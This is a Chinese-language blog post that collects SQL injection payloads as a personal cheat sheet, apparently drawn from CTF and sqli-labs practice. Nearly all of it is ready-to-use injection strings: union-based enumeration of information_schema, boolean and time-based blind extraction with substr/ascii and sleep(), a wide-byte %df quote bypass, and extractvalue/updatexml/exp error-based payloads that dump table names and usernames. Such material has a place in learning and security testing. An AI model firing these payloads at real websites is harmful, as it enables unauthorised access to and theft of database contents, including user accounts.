vlambda博客
学习文章列表

SQL注入之注入语句小结

Sql注入总结

学了好久的SQL注入了,今天把注入语句大概总结一下,也方便以后使用与查看。



联合查询

1、利用闭合变量报错测试注入点, ?id=1’ .这样说明存在单引号闭合注入

2、是否存在注入点,用and语句测试

?id=1and 1=2# ?id=1and 1=1#

3、猜测字段 

?id=1’ order by 3%23

4、找到页面中数据输入点

?id=-1union select 1,2,3%23

5、查数据库

?id=1union select 1,database(),3%23

6、查表

?id=-1’ union select 1,table_name,3 from information_schema.tables where table_schema=database()%23

7、

?id=-1’ union select 1,column_name,3 from information_schema.columns where table_schema=database() and table_name=‘b表名’%23

8、

?id=-1’ union select 1,flag,3 from 数据库.表名%23


布尔型(脚本在上一篇文章哦)

1、判断是否存在注入点

?id=1and 1=1%23 (返回ture页面)?id=1and 1=2%23 (返回false页面)

存在布尔型盲注

2、查数据库长度

id=1and (length(database()))>7%23 返回ture页面说明长度大于7id=1and (length(database()))>20%23 返回false页面说明长度小于20

利用二分法最终确定数据库长度

如果id=1’ and (length(database()))=12%23 返回ture说明数据库长度为12

3、查数据库

4、

?id=1and ascii(substr(database(),2,1))>114%23(对查询的数据取第一位判断)

5、substr(a,b,c)是截取字符函数。a=截取对象 b=截取的位数 c=截取的个数

substr(database(),1,1)是取出数据库的第一位的值。如果database()=mozhe的话,就和下面一样。

substr(database(),1,1)=’msubstr(database(),2,1)=’o’ substr(database(),3,1)=’z’

6、查表

?id=1and (ascii(substr((select table_name from information_schema.tables where table_schema=database()),1,1)))>130%23

(利用二分法,ascii为ascii码,例如97=‘a’)

7、查列:

?id=1’ and (ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name=‘表名’ limit 0,1),1,1)))>0%23

(如果报错可以加limit 0,1)

8、查字段

?id=1and length((select username from 数据库.表名 limit 0,1))>0%23


延时型(脚本在上一篇文章)

是由返回响应的时间判断的。利用此函数sleep()与if()

判断:?id=1’ and sleep(5)%23 响应时间5秒存在延时注入

查数据库

?id=1and if((ascii(substr(database(),1,1))>114) ,sleep(5),0)%23

其他操作语法与布尔型一样。

例如:

试下延时注入

?id=1and sleep(5)%23
?id=1and if((ascii(substr(database(),1,1))>114) ,sleep(5),0)%23


宽字节

测试

?id=1’ and 1=2%23 没反应

?id=1’ %df’ and 1=2%23 页面返回假。说明存在宽字节注入

后面与前面语法一样。不过都得?id=1’ %df’ 有%df进行注入



报错型注入

测试?id=-1’爆出数据库语句错误,存在爆出注入

Exp1

?id=1’ and (select 1 from (select count(*),concat((database()),floor(rand(0)*2))x from information_schema.table%23

Exp2

?id=1and extractvalue(1,concat(0x7e,(select database()),0x7e))%23

Exp3

?id=1and updatexml(1,concat(0x7e,database(),0x7e),1)%23

Exp4

?id=1’ union select (exp(~(select * FROM(SELECT USER())a))),2,3–+

(-1或者1可自行测试)ps:后面的表、列、字段按照联合查询语法即可。

如:

爆表名

?id=1’ and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e))%23

爆全部表名

?id=1’ and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))%23

爆字段,拿flag

?id=1and extractvalue(1,concat(0x7e,(select group_concat(username) from security.users),0x7e))%23

如果对语句意思不太懂,可以再具体看看我前面的文章或者百度。


参考资料:

白阁文库https://wiki.bylibrary.cn/ 

sql注入WIKI:http://sqlwiki.radare.cn/